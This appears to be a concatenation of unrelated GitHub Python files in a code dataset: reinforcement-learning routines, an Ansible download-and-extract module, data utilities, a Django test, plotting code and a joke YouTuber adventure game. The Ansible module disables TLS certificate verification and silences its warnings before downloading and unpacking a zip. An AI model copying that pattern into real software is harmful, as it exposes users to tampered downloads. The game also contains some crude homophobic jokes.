numpy.sum(numpy.fabs(prev_v - value))\n\t\tif (delta <= eps):\n\t\t\tbreak\n\t\tif i % 500 == 0:\n\t\t\tstatistics.append((i, numpy.copy(value), delta))\n\tstatistics.append((i, numpy.copy(value), delta))\n\treturn value, i, statistics\n\n#Iteratively calculates value-function under policy \ndef CalcPolicyValue(env, policy, gamma=1.0, eps=0.1):\n\tvalue = numpy.zeros(env.env.nS)\n\twhile True:\n\t\tpreviousValue = numpy.copy(value)\n\t\tfor states in range(env.env.nS):\n\t\t\tpolicy_a = policy[states]\n\t\t\tvalue[states] = sum([p * (r + gamma * previousValue[s_]) for p,s_, r, _ in env.env.P[states][policy_a]])\n\t\tif (numpy.sum((numpy.fabs(previousValue - value))) <= eps):\n\t\t\tbreak\n\t\t\tprint( \"breaked\")\n\treturn value\n\t\n\t\n#Policy Iteration algorithm\ndef policyIteration(env, gamma=1.0, eps=0.1):\n\tpolicy = numpy.random.choice(env.env.nA, size=(env.env.nS))\n\tmaxIterations = 100000\n\tgamma = 1.0\n\tfor i in range(maxIterations):\n\t\toldPolicyValue = CalcPolicyValue(env, policy, gamma, eps)\n\t\tnewPolicy = calculatePolicy(env, oldPolicyValue, gamma)\n\t\tif (numpy.all(policy == newPolicy)):\n\t\t\tprint('Policy Iteration converged at %d' %(i+1))\n\t\t\tbreak\n\t\tpolicy = newPolicy\n\treturn policy, i+1\n\n\ndef q_learning(env, discount=0.9, total_episodes=1e5, alpha=0.1, decay_rate=None,\n min_epsilon=0.01):\n \n number_of_states = env.observation_space.n\n number_of_actions = env.action_space.n\n \n qtable = numpy.zeros((number_of_states, number_of_actions))\n learning_rate = alpha\n gamma = discount\n\n # exploration parameter\n epsilon = 1.0\n max_epsilon = 1.0\n min_epsilon = 0.01\n \n if not decay_rate:\n decay_rate = 1./total_episodes\n \n rewards = []\n for episode in range(int(total_episodes)):\n # reset the environment\n state = env.reset()\n step = 0\n done = False\n total_reward = 0\n while True:\n\n # choose an action a in the corrent world state\n exp_exp_tradeoff = numpy.random.uniform(0,1)\n\n # if greater than epsilon --> exploit\n if exp_exp_tradeoff > epsilon:\n b = qtable[state, :]\n action = numpy.random.choice(numpy.where(b == b.max())[0])\n# action = np.argmax(qtable[state, :])\n # else choose exploration\n else:\n action = env.action_space.sample()\n\n # take action (a) and observe the outcome state (s') and reward (r) \n new_state, reward, done, info = env.step(action)\n total_reward += reward\n # update Q(s,a) := Q(s,a) + lr [R(s,a) + gamma * max(Q (s', a') - Q(s,a))]\n if not done:\n qtable[state, action] = qtable[state, action] + learning_rate*(reward + gamma*numpy.max(qtable[new_state, :]) - qtable[state, action])\n else:\n qtable[state, action] = qtable[state,action] + learning_rate*(reward - qtable[state,action])\n\n # change state\n state = new_state\n\n # is it Done\n if done:\n break\n \n # reduce epsilon \n rewards.append(total_reward)\n epsilon = max(max_epsilon - decay_rate * episode, min_epsilon) \n # print (epsilon)\n \n print(\"Solved in: {} episodes\".format(total_episodes))\n return numpy.argmax(qtable, axis=1), total_episodes, qtable, rewards\n\ndef test_qpolicy(env, policy, n_epoch=1000):\n rewards = []\n episode_counts = []\n for i in range(n_epoch):\n current_state = env.reset()\n ep = 0\n done = False\n episode_reward = 0\n while not done and ep < 10000:\n ep += 1\n act = int(policy[current_state])\n new_state, reward, done, _ = env.step(act)\n episode_reward += reward\n current_state = new_state\n rewards.append(episode_reward)\n episode_counts.append(ep)\n \n # all done\n mean_reward = sum(rewards)/len(rewards)\n mean_eps = sum(episode_counts)/len(episode_counts)\n return mean_reward, mean_eps, rewards, episode_counts","repo_name":"dimter/cs-7641-markov","sub_path":"model_based.py","file_name":"model_based.py","file_ext":"py","file_size_in_byte":5669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74067741494","text":"_BUZZ_MESSAGE_ = 'buzz!'\n_CLAP_MESSAGE_ = 'clap'\n_RULE_ = 3\n_THRESHOLD_ = 5\n\ndef get_buzz_message(num, rule):\n if (num % rule != 0):\n return num\n if (num > _THRESHOLD_):\n return _CLAP_MESSAGE_\n return _BUZZ_MESSAGE_\n\n\ndef buzz(num, rule):\n print(get_buzz_message(num, rule))\n\n\ndef main():\n rule = _RULE_\n for num in range(1, 10):\n buzz(num, rule)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"KennethanCeyer/pycon-kr-2018","sub_path":"src/cleancode/broken_window/refactor.py","file_name":"refactor.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"71796328373","text":"#!/usr/bin/python\r\n\r\nimport requests,os,zipfile,shutil\r\nimport requests.packages.urllib3\r\nfrom shutil import copyfile\r\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\r\nfrom ansible.module_utils.basic import AnsibleModule\r\n\r\n# suppressing certificate warnings\r\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) \r\n\r\nANSIBLE_METADATA = {\r\n\t'metadata_version':'1.0',\r\n\t'status':['preview'],\r\n\t'supported_by':'curated'\r\n}\r\n\r\nDOCUMENTATION = '''\r\n---\r\nmodule: Ansible DownloadZip,Extract and Copy module\r\ndescription: This module downloads archive.zip file from specified URL, unzips contents and copies over to desired location\r\noptions:\r\n\tname: \r\n\t\tdescription: Name of the module being tested\r\n\t\trequired: True\r\n\turl:\r\n\t\tdescription: Specified URL should point to the online service/repository location that holds the ansible.zip file\r\n\t\trequired: True\r\n\tmessage:\r\n\t\tdescription: Optional message to include with the tests\r\n\t\trequired: False\r\n\tsuccess:\r\n\t\tdescription: Indicates the status of the test run at various points viz. during download, extract, copy. \r\n\t\trequired: False\r\n'''\r\n\r\nEXAMPLES = '''\r\n---\r\n# Pass in the name,url,message \r\n\"name\": \"Ansible DownloadZip,Extract and Copy module\",\r\n\"url\":\"https://raw.githubusercontent.com/GauravPurohit/AnsibleTestRepo/master/ansible.zip\"\r\n\"message\":\"Test 1: Downloads zip, extracts content and copies it over to desired location\"\r\n\"success\":\"\"\r\n\r\n$ Pass in name, incorrect url, message\r\n\"name\": \"Ansible DownloadZip,Extract and Copy module\",\r\n\"url\":\"https://raw.githubusercontent.com/GauravPurohit/AnsibleTestRepo/master/ansible.zip\"\r\n\"message\":\"Test 2: Incorrect Url will fail downloading archive from the online service\"\r\n\"success\":\"\"\r\n\r\n'''\r\n\r\nRETURN = '''\r\n---\r\n\tname: \r\n\t\tdescription: Name of the module being tested\r\n\t\trequired: True\r\n\turl:\r\n\t\tdescription: Specified URL should point to the online service/repository location that holds the ansible.zip file\r\n\t\trequired: True\r\n\tmessage:\r\n\t\tdescription: Optional message to include with the tests\r\n\t\trequired: False\r\n\tsuccess:\r\n\t\tdescription: Indicates the status of the test run at various points viz. during download, extract, copy. \r\n\t\trequired: False\r\n'''\r\n\r\n\r\n\r\n\r\n# 'ExtractZipandCopyToDir' function extracts contents from the downloaded archive and copies it over to another directory.\r\n# zipfilepath: C:\\\\cygwin1\\\\usr\\\\local\\\\lib\\\\library\\\\ansible.zip indicates the download location for the arhive\r\n# zipfileextractdir: C:\\\\cygwin1\\\\usr\\\\local\\\\lib\\\\library\\\\ansible\\\\ indicates the directory where archive contents are to be extracted\r\n# result: This dictionary stores the modified values of module_args to indicate the user at the output\r\n# module: This is used by AnsibleModule to take in arguments from the 'arguments.json' file\r\n\r\ndef ExtractZipandCopyToDir(zipfilepath,zipfileextractdir,result,module):\r\n\tUnZipFileNewLocation = \"C:\\\\cygwin1\\\\usr\\\\local\\\\lib\\\\library\\\\exports\\\\\" \t\t\t\t# CopyTo directory location\r\n\tUnZipFileName = \"ansible.config\"\r\n\ttry: \r\n\t\t# extract contents\r\n\t\ttozip = zipfile.ZipFile(zipfilepath,'r')\r\n\t\ttozip.extractall(zipfileextractdir)\r\n\t\ttozip.close()\r\n\texcept:\r\n\t\tresult['success'] = \"File Extract failed!\"\r\n\t\tmodule.fail_json(msg='Error extracting the specified zip file', **result)\r\n\ttry:\r\n\t\tif not os.path.exists(UnZipFileNewLocation):\r\n\t\t\tos.makedirs(UnZipFileNewLocation)\r\n\texcept:\r\n\t\tresult['success'] = \"File Extract failed!\"\r\n\t\tmodule.fail_json(msg='Error locating and/or creating the directory at the specified location!', **result)\r\n\ttry: \r\n\t\t# copy extracted contents to 'exports' directory\r\n\t\tcopyfile(zipfileextractdir+UnZipFileName,UnZipFileNewLocation+UnZipFileName)\r\n\texcept:\r\n\t\tresult['success'] = \"File Copy failed!\"\r\n\t\tmodule.fail_json(msg='Error locating and/or copying the file at the specified location!', **result)\r\n\ttry:\r\n\t\t# removes archive file and previous extracted directory\r\n\t\tif os.path.exists(zipfilepath):\r\n\t\t\tos.remove(zipfilepath)\r\n\t\tshutil.rmtree(zipfileextractdir)\r\n\texcept:\r\n\t\tresult['success'] = \"File Copy failed!\"\r\n\t\tmodule.fail_json(msg='Error locating and/or removing the file and/or directory at the specified path!', **result)\r\n\t\t\r\n\t\t\r\n# 'DownloadZip' function downloads archive file from the specified online service/repository. \r\n# result: This dictionary stores the modified values of module_args to indicate the user at the output\r\n# module: This is used by AnsibleModule to take in arguments from the 'arguments.json' file\r\n\r\ndef DownloadZip(result,module):\r\n\tZipFileDwnLocation = \"C:\\\\cygwin1\\\\usr\\\\local\\\\lib\\\\library\\\\\" \t\t\t\t\t\t\t\t\t#File download location\r\n\tZipFileName = \"ansible.zip\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Downloaded archive file name\r\n\tZipFileExtractDir = \"C:\\\\cygwin1\\\\usr\\\\local\\\\lib\\\\library\\\\ansible\\\\\"\t\t\t\t\t\t\t\t\t#Directory to be extracted to\r\n\tDefaultUrlLink = \"https://raw.githubusercontent.com/GauravPurohit/AnsibleTestRepo/master/ansible.zip\" \t\t\t#Default Link to download archive file \r\n\t\r\n\tif not result['url'] or result['url'] == '':\r\n\t\turl = UrlLink\r\n\ttry: \r\n\t\t# make webrequest using specified URL\r\n\t\tresponsecontent = requests.get(result['url'], verify=False)\r\n\t\tif not responsecontent.status_code == 200:\r\n\t\t\tresult['success'] = \"File Download failed!\"\r\n\t\t\tmodule.fail_json(msg='Error message:'+responsecontent.content)\r\n\texcept:\r\n\t\tresult['success'] = \"File Download failed!\"\r\n\t\tmodule.fail_json(msg='Error making a webrequest to the specified URL!', **result)\r\n\ttry:\r\n\t\t# write response to generate archive file\r\n\t\twith open((ZipFileDwnLocation+ZipFileName),'wb') as f:\r\n\t\t\tf.write(responsecontent.content)\r\n\texcept:\r\n\t\tresult['success'] = \"File Download failed!\"\r\n\t\tmodule.fail_json(msg='Error writing the specified file from URL to the disk!', **result)\r\n\t\t\r\n\tExtractZipandCopyToDir((ZipFileDwnLocation+ZipFileName),ZipFileExtractDir,result,module)\r\n\t\r\n\tresult['success'] = \"Download,Extract,Copy completed.\"\r\n\tmodule.exit_json(msg='Exports complete!', **result)\r\n\t\r\n# 'main' function gets all the arguments required by the AnsibleModule from external 'arguments.json' file \r\n# and defines the result dictionary required to hold the modified values of module_args for the output. \r\n\r\ndef main():\r\n\tmodule_args = dict(\r\n\tname = dict(type='str',required=True), \t\t\t\t\t\t\t\t\t#AnsibleModule name\r\n\turl = dict(type='str',required=True), \t\t\t\t\t\t\t\t\t#Download URL \r\n\tmessage = dict(type='str',required=False), \t\t\t\t\t\t\t\t#Optional message\r\n\tsuccess = dict(type='str',required=False, default=\"Initiating tests!\") \t#Success indicator\r\n\t)\r\n\tmodule = AnsibleModule(\r\n\t\targument_spec=module_args,\r\n\t)\r\n\tresult = dict(\r\n\t\tname=module.params['name'],\r\n\t\turl=module.params['url'],\r\n\t\tmessage=module.params['message'],\r\n\t\tsuccess=module.params['success']\r\n\t)\r\n\tDownloadZip(result,module)\r\n\t\r\n\t\r\nif __name__ == '__main__':\r\n\tmain()\r\n\t\t\r\n\t\t\r\n\t\t\r\n","repo_name":"GauravPurohit/AnsibleTestRepo","sub_path":"AnsibleProgram.py","file_name":"AnsibleProgram.py","file_ext":"py","file_size_in_byte":6787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31587467879","text":"#!/usr/bin/python3\n\nimport argparse\nimport os\nimport subprocess\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--lang\", \"-l\", type=str, default=\"FR\")\nparser.add_argument(\"--privacy\", \"-p\", type=str, default=\"private\")\nparser.add_argument(\"--brevity\", \"-b\", type=int, default=0)\nparser.add_argument(\"--cvpath\", \"-c\", type=str, default=\"./cv.xml\")\nparser.add_argument(\"--transformpath\", \"-t\", type=str, default=\"./cvxhtml.xsl\")\n\nargs = parser.parse_args()\n\ncmd = [\"xsltproc\"]\ncmd += [\"--stringparam\", \"language\", args.lang]\ncmd += [\"--stringparam\", \"privacy\", args.privacy]\ncmd += [\"--stringparam\", \"brevity\", str(args.brevity)]\ncmd += [args.transformpath, args.cvpath]\n\nsubprocess.call(cmd)\n","repo_name":"jabarszcz/webCV","sub_path":"cv.py","file_name":"cv.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"el","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12025212308","text":"import logging\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom debias.datasets.training_data_loader import PREMISE_KEY\nfrom debias.utils import py_utils, configured, ops\n\n\ndef build_epoch_fn(lst, sample=None, shuffle=False):\n \"\"\"Build a function to return `lst` after sampling/shuffling\"\"\"\n if sample:\n def get():\n ix = np.random.choice(len(lst), sample, replace=False)\n if not shuffle:\n ix.sort()\n return [lst[i] for i in ix]\n\n elif shuffle:\n def get():\n cpy = list(lst)\n np.random.shuffle(cpy)\n return cpy\n else:\n get = lambda: lst\n\n return get\n\n\ndef build_stratified_epoch_fn(lst, n_groups):\n \"\"\"Build a function to return `lst` after doing a stratified shuffle\n\n Assuming the data is sorted by a per-example score, the data will yield examples\n with scores that are deliberately spread out\n\n We used this for some of the QA dataset so its preserved here for exactness,\n although I *think* it doesn't really make a difference\n \"\"\"\n\n # Split lst into group, assuming lst is sorted by the score we are stratifying on,\n # each group will contain examples with a similar score\n groups = py_utils.split(lst, n_groups)\n\n def build():\n local_groups = [list(x) for x in groups]\n for group in local_groups:\n # Shuffle the individual groups\n np.random.shuffle(group)\n\n # Merge the groups\n out = []\n while local_groups:\n for group in local_groups:\n out.append(group.pop())\n local_groups = [x for x in local_groups if len(x) > 0]\n\n return out\n\n return build\n\n\nclass QuantileBatcher(configured.Configured):\n \"\"\"Batch a dataset by keeping a histogram of example lengths, and\n batching together examples whose lengths are in the same quantile\"\"\"\n\n def __init__(self, batch_size, hist_min, hist_max, hist_step, n_buckets):\n self.batch_size = batch_size\n self.hist_min = hist_min\n self.hist_max = hist_max\n self.hist_step = hist_step\n self.n_buckets = n_buckets\n\n def batch(self, dataset: tf.data.Dataset) -> tf.data.Dataset:\n bounds = list(range(self.hist_min, self.hist_max, self.hist_step))\n\n logging.info(\n \"Quantile bucketing from %d-%d with %d buckets\" %\n (bounds[0], bounds[-1], len(bounds)))\n\n return dataset.apply(ops.bucket_by_quantiles(\n len_fn=lambda x: tf.shape(x[PREMISE_KEY])[0],\n batch_size=self.batch_size,\n n_buckets=self.n_buckets,\n hist_bounds=bounds\n ))\n\n","repo_name":"chrisc36/debias","sub_path":"debias/datasets/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"21"} +{"seq_id":"25339913463","text":"\"\"\"\r\nTest for culture tags\r\n\"\"\"\r\nfrom core.helpers import create_user\r\nfrom rest_framework.test import APIClient\r\n\r\nfrom django.test import TestCase\r\nfrom django.urls import reverse\r\nfrom culture.tests.test_culture_api import create_culture\r\nfrom ethnic_group.serializers import TagsSerializer\r\n\r\nfrom core.models import Tag\r\n\r\nTAGS_URL = reverse('culture:tag-list')\r\n\r\n\r\nclass PrivateCultureTags(TestCase):\r\n \"\"\"Private tags API tests for culture\"\"\"\r\n def setUp(self):\r\n\r\n self.client = APIClient()\r\n self.user = create_user(\r\n email=\"testuser@example.com\",\r\n password=\"testpassword123\"\r\n )\r\n\r\n self.client.force_authenticate(self.user)\r\n\r\n def test_filter_tags_assigned_to_culture(self):\r\n \"\"\"Test filter tags assigned to culture.\"\"\"\r\n\r\n tag = Tag.objects.create(user=self.user, name='tag 1')\r\n tag2 = Tag.objects.create(user=self.user, name='tag 2')\r\n\r\n culture = create_culture(user=self.user)\r\n culture.tags.add(tag)\r\n\r\n res = self.client.get(TAGS_URL, {'assigned_only': 1})\r\n\r\n s1 = TagsSerializer(tag)\r\n s2 = TagsSerializer(tag2)\r\n\r\n self.assertIn(s1.data, res.data)\r\n self.assertNotIn(s2.data, res.data)\r\n","repo_name":"samKenpachi011/bwhistory-app-api","sub_path":"app/culture/tests/test_culture_tags_api.py","file_name":"test_culture_tags_api.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72166682292","text":"from src.offlinestatpageparser import OfflineStatsPage\n\nfrom collections import defaultdict\nimport csv\nfrom datetime import datetime\nfrom logging import Logger\nimport os\n\n\nclass PlayerLogSaver:\n FORMAT_OPTIONS = ['timestamp', 'online', 'username', 'rank',\n 'allianceid', 'tff', 'tfftype', 'commanderid',\n 'topofchainid', 'officers']\n\n FORMAT_TO_ENCODEDVALUE_MAP = defaultdict(lambda: 'xx', {\n 'timestamp': 'ts',\n 'online': 'os',\n 'username': 'un',\n 'rank': 'rk',\n 'allianceid': 'ai',\n 'tff': 'tf',\n 'tfftype': 'tt',\n 'commanderid': 'ci',\n 'topofchainid': 'tc',\n 'officers': 'of'\n })\n\n VERSION_NUMBER = 'V2'\n\n def __init__(self, logger: Logger,\n save_path_base: str,\n formatoptions: list[str]) -> None:\n self._logger = logger\n self._savepathbase = save_path_base\n self._formatoptions = formatoptions\n\n def save_log(\n self, userId: str,\n timestamp: datetime,\n page: OfflineStatsPage) -> None:\n filepath = os.path.join(\n self._savepathbase, f'{userId}-{self.VERSION_NUMBER}.csv')\n if not os.path.exists(filepath):\n self._logger.info('Creating logfile for userid %s', userId)\n\n formatted_csv_input = self._get_formatted_csv_input(\n timestamp, page, self._formatoptions)\n\n with open(filepath, 'a+', newline='', encoding='utf-8') as f:\n csvwriter = csv.writer(f)\n csvwriter.writerow(formatted_csv_input)\n\n def _get_formatted_csv_input(\n self,\n timestamp: datetime,\n page: OfflineStatsPage,\n format: list[str]) -> list[str]:\n\n allianceid = -1 if page.alliance_id.is_none else page.alliance_id.value\n commanderid = -1 if page.commander_id.is_none \\\n else page.commander_id.value\n commandertopid = -1 if page.commandchain_top_id.is_none \\\n else page.commandchain_top_id.value\n onlinestatus = 'online' if page.is_online else 'offline'\n\n value_map = defaultdict(lambda: 'unknown format option')\n value_map.update({\n 'timestamp': timestamp,\n 'online': onlinestatus,\n 'username': page.username,\n 'rank': page.rank,\n 'allianceid': allianceid,\n 'tff': page.tff,\n 'tfftype': page.tff_type,\n 'commanderid': commanderid,\n 'topofchainid': commandertopid,\n 'officers': page.officers\n })\n form = [PlayerLogSaver.FORMAT_TO_ENCODEDVALUE_MAP[x] for x in format]\n formatinfo = ''.join(form)\n return [formatinfo] + [value_map[x] for x in format]\n","repo_name":"matthewnbrown/roc_schedule_watcher","sub_path":"src/playerlogsaver.py","file_name":"playerlogsaver.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37037550445","text":"import csv\nfrom urllib2 import urlopen\nfrom itertools import islice\nfrom pylab import axis, scatter, show, sqrt, text, xlabel, ylabel\nimport pandas\n\n\ndef plot_without_pandas():\n\n data = []\n\n for row in islice(csv.reader(urlopen('http://datasets.flowingdata.com/crimeRatesByState2005.csv')), 2, None):\n\n # fields are state, murder, forcible_rape, robbery, aggravated_assault, burglary, larceny_theft, motor_vehicle_theft, population\n\n data.append([row[i] for i in [1, 5, 6, 8]])\n\n text(row[1], row[5], row[0], size=11, horizontalalignment='center')\n\n data = zip(*data)\n\n sct = scatter(map(float, data[0]), map(float, data[1]), c=map(float, data[2]), s=sqrt(map(int, data[3])), linewidths=2, edgecolor='w', alpha=0.75)\n\n axis([0, 11, 200, 1280]) # DC is an outlier!\n\n xlabel('Murders per 100,000 population')\n ylabel('Burglaries per 100,000 population')\n\n show()\n\n\ndef draw_text(row):\n\n text(row['murder'], row['burglary'], row['state'], size=11, horizontalalignment='center')\n\n\ndef plot_with_pandas():\n\n data = pandas.read_csv(urlopen('http://datasets.flowingdata.com/crimeRatesByState2005.csv'), skiprows=[1])\n\n data.apply(draw_text, axis=1)\n\n sct = scatter(data['murder'], data['burglary'], c=data['larceny_theft'], s=sqrt(data['population']), linewidths=2, edgecolor='w', alpha=0.75)\n\n axis([0, 11, 200, 1280]) # DC is an outlier!\n\n xlabel('Murders per 100,000 population')\n ylabel('Burglaries per 100,000 population')\n\n show()\n\n\nif __name__ == '__main__':\n\n #plot_with_pandas()\n plot_without_pandas()\n","repo_name":"hannawallach/misc","sub_path":"bubble_plot.py","file_name":"bubble_plot.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3144941265","text":"import time\nimport random\n\n## introduction to game\n\nprint ( \"welcome to Maggie's final project! \")\nprint()\ntime.sleep(2)\nprint('in a short moment, you will be thrusted into the 🅷🅴🅻🅻 that is LA')\ntime.sleep(2)\nprint(\"in order to escape, you will have to collect allies and win the ɔıdǝ fight at the end\")\ntime.sleep(2)\nprint()\nprint( \"good luck, you're gonna need it\")\ntime.sleep(2)\n\nprint()\nstart = input( 'are you ready to begin the adventure?! ')\n\nif start == 'yes':\n print(\"of course you are. I expected no less of you. let's go\")\nelse:\n print(\"too bad. we are starting anyway\")\n\ntime.sleep(1)\nprint()\nfor x in range (0,5):\n b = \"Loading\" + \".\" * x\n print (b, end=\"\\r\")\n time.sleep(1)\n\nplayerName = input('ok, first, what is your name? ')\n\n## character setup and collection\n\nclass Fighter:\n\n ### class for all characters in the game that have characteristics needed for the final battle ###\n\n def __init__(self, name, species, health, atkCoeff, defCoeff):\n self.name = name\n self.species = species\n self.health = health\n self.atkCoeff = atkCoeff\n self.defCoeff = defCoeff\n\n def attack(self, opponent):\n ### simple attack function with use of attack power and defense power ###\n print()\n print(f\"{self.name} has attacked {opponent.name}!\")\n time.sleep(2)\n if opponent.health >= 20:\n print(f\"{opponent.name} still had ample health left so they were able to use their defense power\")\n dmg = self.atkCoeff - opponent.defCoeff\n opponent.health -= dmg\n else:\n print(f\"{opponent.name} has not enough health so they were not able to use their defense power.\")\n opponent.health -= self.atkCoeff\n print()\n time.sleep(2)\n print(f\"the resulting health of {opponent.name} is {opponent.health}\")\n print()\n time.sleep(1)\n\n def __str__(self):\n return self.name\n\n __repr__ = __str__\n\nclass Youtuber(Fighter):\n\n ### sub class of fighter for youtubers specifically (subscribers trait is unique) ###\n\n def __init__(self, name, species, health, atkCoeff, defCoeff, subscribers):\n Fighter.__init__(self, name, species, health, atkCoeff, defCoeff,)\n self.subscribers = subscribers\n\n def stats(self):\n ### displaying the statistics of the character ###\n print()\n print(f\"these are the stats of {self.name}\")\n time.sleep(1)\n print(f\" - species: {self.species}\")\n print(f\" - health: {self.health}\")\n print(f\" - attack power: {self.atkCoeff}\")\n print(f\" - defense power: {self.defCoeff}\")\n print(f\" - subscribers: {self.subscribers}\")\n print()\n\nclass Celeb(Fighter):\n\n ### sub class of fighter for traditional celebrities only (net worth) ###\n\n def __init__(self, name, species, health, atkCoeff, defCoeff, networth):\n Fighter.__init__(self, name, species, health, atkCoeff, defCoeff )\n self.networth = networth\n\n def stats(self):\n ### displaying the statistics of the character ###\n print()\n print(f\"these are the stats of {self.name}\")\n time.sleep(1)\n print(f\" - species: {self.species}\")\n print(f\" - health: {self.health}\")\n print(f\" - attack power: {self.atkCoeff}\")\n print(f\" - defense power: {self.defCoeff}\")\n print(f\" - net worth: {self.networth}\")\n print()\n\nksi = Youtuber( 'KSI', '(っ◔◡◔)っ ♥ the devil himself ♥', 35, 10, 1, 20000000)\nlpaul = Youtuber( 'Logan Paul', 'ⓒⓗⓤⓝⓖⓤⓢ', 40, 9, 2, 19000000)\n\njpaul = Youtuber( 'Jake Paul', 'ⓒⓗⓤⓝⓖⓤⓢ jr.', 50, 10, 3, 8000000)\nshane = Youtuber( 'Shane Dawson', 'ɪʟʟᴜᴍɪɴᴀᴛɪ ʜɪᴍꜱᴇʟꜰ', 45, 11, 2, 20000000)\n\npew = Youtuber( 'Pewdiepie', 'meme👏 review👏', 90, 20, 4, 80000000)\ntseries = Youtuber( 'T-Series', 't-『g』『a』『y』', 80, 25, 5, 79000000)\n\njstar = Youtuber( 'Jeffree Star', 'unavailable', 30, 11, 2, 12000000)\njcharles = Youtuber( 'James Charles', 'shister', 40, 8, 2, 13000000)\n\nkimk = Celeb( 'Kim Kardashian', 'birth giver', 50, 15, 2, 350000000)\nkylie = Celeb( 'Kylie Jenner', 'birth giver 𝟛𝟘𝟘𝟘', 45, 13, 1, 900000000)\n\nallies = []\nenemies = []\n\n## adventure : team formation\n\nprint()\nprint(f\"welcome, {playerName}. you have just arrived in LAX...\")\ntime.sleep(1)\n\ndests = {\n 'team 10 house': [jpaul, shane],\n 'supreme store': [ksi, lpaul],\n 'sephora': [jstar, jcharles],\n 'kardashian house': [kimk, kylie],\n 'hotel': [pew, tseries]\n }\n\navailable_dests = list(dests.keys())\n\ndef displaydests( ):\n ### this function displays the remaining available destinations that the player can head to\" ###\n global available_dests\n time.sleep(1)\n print()\n print(\"available destinations: \")\n for x in range(len(available_dests)):\n print(f\" - {available_dests[x]}\")\n time.sleep(0.5)\n print()\n\ndef whereToYeet( alldests ):\n ### this function allows the player to choose where to head to from a given list of locations ###\n global available_dests\n print()\n print(f\"{playerName}, where would you like to go?\")\n displaydests()\n dest = input(f\"choose a valid destinations listed above: \" )\n while dest not in alldests:\n displaydests()\n dest = input(f\"please choose a valid destination: \" )\n time.sleep(1)\n print()\n print(f\"okay, we are ʏᴇᴇᴛɪɴɢ to {dest} now.\")\n available_dests.remove(dest)\n time.sleep(1)\n for x in range (0,3):\n b = \"Transporting\" + \".\" * x\n print (b, end=\"\\r\")\n time.sleep(1)\n print(f\"we have arrived in {dest}!\")\n print()\n return dest\n\ndef displayTeams():\n ### this function displays the current status of the two teams (allies and enemies), determined by how many locations the player has already visited ###\n print(\"these are your allies\")\n time.sleep(1)\n print(*allies, sep = \", \")\n time.sleep(1)\n print()\n print(\"and these are your enemies\")\n time.sleep(1)\n print(*enemies, sep = \", \")\n print()\n\ndef chooseAlly( place ):\n ### this function allows the player to meet the two characters present at each given location and allows the player to select which they would like as an ally and which as an enemy ###\n time.sleep(1)\n print()\n print(f\"at {place}, you come accross {dests[place][0]} and {dests[place][1]} having a huge argument with one another\")\n time.sleep(2)\n print(f\"they appear to hate each other. now is your chance to snatch an ally!\")\n time.sleep(2)\n print()\n print(f\"you will now see the stats of {dests[place][0]} and {dests[place][1]} to help you make a decision\")\n time.sleep(2)\n dests[place][0].stats()\n time.sleep(2)\n dests[place][1].stats()\n time.sleep(2)\n yourally = input(f\"Choose an ally from {place}: {dests[place][0]} or {dests[place][1]} ? \")\n yourenemy = \"\"\n possible_chars = [ dests[place][0].name, dests[place][1].name ]\n while yourally not in possible_chars:\n yourally = input(f\"Please choose a valid from {place}: {dests[place][0]} or {dests[place][1]} \")\n if yourally == dests[place][0].name :\n allies.append(dests[place][0])\n yourenemy = dests[place][1]\n enemies.append(dests[place][1])\n elif yourally == dests[place][1].name :\n allies.append(dests[place][1])\n yourenemy = dests[place][0]\n enemies.append(dests[place][0])\n print()\n print(f\"{yourally} is now on your side and will fight for you\")\n time.sleep(1)\n print(f\"and {yourenemy} is now against you and aspires to 🄳🄴🅂🅃🅁🄾🅈 you \")\n print()\n time.sleep(2)\n displayTeams()\n\nprint()\ntime.sleep(1)\nprint(f\"it's already time to go to our first destination.\")\ntime.sleep(1)\nprint(f\"at these destinations, you will meet pairs of characters and have a choice of an ally\")\ntime.sleep(2)\nprint(f\"you can only pick one to be your ally, and the other one will become your enemy\" )\ntime.sleep(2)\nprint(f\"in the final battle, these 5 pairs will fight one another, so choose carefully\")\nprint()\ntime.sleep(2)\n\nchooseAlly(whereToYeet(available_dests))\n\nwhile len(available_dests) >= 1:\n time.sleep(1)\n print(f\"okay, time to head to the next destination\")\n time.sleep(1)\n chooseAlly(whereToYeet(available_dests))\n time.sleep(1)\n\n## special items\n\nclass Item():\n\n ### this class defines the special attacks and defenses that can be used during the final battle ###\n\n def __init__(self, name, itemtype, power, use):\n self.name = name\n self.itemtype = itemtype\n self.power = power\n self.use = use\n\n def showstats(self):\n ### displaying the statistics of the attack or defense ###\n print()\n print(f\"these are the stats of '{self.name}' : \")\n print(f\" - type : {self.itemtype}\")\n print(f\" - {self.itemtype} power : {self.power}\")\n print(f\" - number of uses : {self.use}\")\n print()\n\n def __str__(self):\n return self.name\n\n __repr__ = __str__\n\nds = Item('diss track', 'attack', 17, 2)\nexp = Item('expose for racism', 'attack', 35, 1)\ncall = Item('call out for scamming fans', 'attack', 20, 1)\ntwit = Item('taking it to twitter', 'attack', 11, 2)\n\nfake = Item('fake apology', 'defense', 4, 2)\ndisapp = Item('disappear off the internet', 'defense', 7, 1)\nexc = Item('making bad excuses', 'defense', 6, 2)\nproof = Item('disproving rumors with proof', 'defense', 10, 1)\n\navail_attacks = [ ds, exp, call, twit 